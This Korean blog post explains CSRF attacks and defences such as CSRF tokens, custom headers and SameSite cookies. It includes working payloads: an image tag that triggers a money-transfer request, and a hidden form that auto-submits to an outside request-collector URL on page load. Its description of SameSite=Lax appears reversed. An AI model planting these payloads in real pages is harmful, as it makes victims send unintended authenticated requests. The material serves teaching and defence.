CSRF
웹 브라우저는 기본적으로 Same-Origin-Policy에 위반되지 않은 모든 요청에 쿠키를 함께 전송
사용자의 의도와 무관하게 다른 사이트에 HTTP 요청을 보내는 것을 CSRF 공격
CSRF 공격을 통해 공격자가 얻을 수 있는 이득은
해당 세션 쿠키를 가진 사람만 사용할 수 있는 기능을 요청할 수 있다는 것
즉, , 피해자의 권한으로 의도하지 않은 요청 수행
GET파라미터를 이용한 CSRF
<img src="http://test.com/sendMoney?to=test&money=10000"/>
이미지를 로드하는 순간 test에게 10000원을 전송
form태그를 이용한 CSRF
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="http://requestbin.net/r/1220esk1" method="get" id="csrf-form">
<input type="text" name="username" value="test">
<input type="checkbox" name="status" checked="checked">
<button type="submit">Submit</button>
</form>
<script>document.getElementById("csrf-form").submit()</script>
iframe style="display:none"으로 form을 안보이게 한 뒤
form의 id값을 줘서
script에 id값을 동일한 id값을 가진 폼을 submit()으로 바로 제출
이 스크립트가 심겨진 페이지에 들어가기만 해도 input정보를 전송
위에서는 get방식으로 전송하였지만 post방식도 가능
CSRF 공격 요구조건
1. 해당 웹 사이트가 쿠키를 이용한 인증 방식을 사용
모든 HTTP 전송엔 쿠키가 함께 전송되기 때문에 쿠키에 저장된 세션 아이디도 전송
2. 공격자가 사전에 알 수 없는 파라미터가 존재해서는 안됨
자동입력 방지 문자를 넣어야 하는 요청은 공격자가 미리 알 수 없음
패스워드 변경 기능에서 기존 패스워드를 입력 받는 다면 이 또한 공격자가 미리 알 수 없음
방어기법
1. 세션 쿠키 대신 커스텀 헤더를 사용하여 사용자 인증
사용자 인증만을 위한 헤더를 추가합니다. (e.g. Authorization)
2. 공격자가 예측할 수 없는 파라미터 추가 및 검증
Same Origin에서만 접근 가능한 데이터를 삽입(ex - CSRF Token)
CAPTCHA 사용
정상적인 사용자만 아는 기존의 값을 검증 (예: 현재 비밀번호)
3. SameSite cookie
쿠키에는 key=value를 포함해 추가적인 설정 값도 함께 저장
기존 Domain, Expires, Path 등만 있었지만 새롭게 SameSite 옵션이 추가
Strict, Lax, None 옵션 존재
None: 기존과 같이 모든요청에 쿠키 삽입
None을 사용할 시 SamSite=None; secure로
반드시 secure을 명시해주어야함
secure옵션으로 https에서만 cookie 전송
Lax: Link, Prerender, Form GET을 제외한 요청에는 삽입
Strict: 모든 크로스 사이트에서 출발한 요청에 해당 쿠키를 삽입하지 않음(Same Orgin일 때만 가능)
################################################
크롬 브라우저는 80버전부터 개발자가 강제로 SameSite=None; Secure; 을 넣지 않는 이상
모든 쿠키에 SameSite=Lax를 강제
################################################
'공격기법 > Web' 카테고리의 다른 글
XSS와 CSRF의 차이 (0) | 2020.03.08 |
---|---|
브루트 포스 공격 (0) | 2020.01.28 |
XSS(Cross Site Scripting)과 Cheat Sheet (0) | 2019.10.25 |
SQL Injection (0) | 2019.09.09 |
URL 점핑(Jumping) (0) | 2019.05.24 |